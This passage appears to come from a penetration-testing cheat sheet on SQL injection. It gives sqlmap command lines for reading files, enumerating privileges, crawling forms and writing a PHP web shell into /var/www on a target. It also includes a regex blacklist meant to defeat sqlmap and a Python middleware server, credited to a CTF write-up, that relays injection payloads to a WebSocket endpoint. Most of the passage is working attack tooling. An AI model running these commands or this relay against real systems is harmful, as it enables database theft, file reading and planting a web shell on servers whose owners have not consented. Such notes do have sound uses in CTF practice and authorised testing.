sqlmap --random-agent --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --batch --answers="crack=N,dict=N,continue=Y,quit=N" -u http://<IP>

## ------------------| Read & Write file
--current-user --privileges
--file-read
--file-write=$(pwd)/shell.php --file-dest=//var/www/shell.php

## ------------------| Crawl and Discover 
sqlmap --random-agent -u http://<IP> --forms --batch --crawl=10 --cookie "session=mycookie" --level=5 --risk=3

## ------------------| SQLMap blacklist keywors [SQLMap Killer]
$badwords = ["/sleep/i", 
             "/0x/i",    
             "/\*\*/",   
             "/-- [a-z0-9]{4}/i", 
             "/ifnull/i", 
             "/or /i"]      
```

## 08. [WebSocket](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html)

```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
# pip install websocket-client

ws_server = "ws://<URL>:<PORT>/ws" # Change this!!!

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"<InjectionParameter>":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()
	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):
	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'
			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return
	class _TCPServer(TCPServer):
		allow_reuse_address = True
	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()
	
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass
	
##--------------- | How to run
# sqlmap -u 'http://localhost:8081/?id=*' --dbs --batch
```
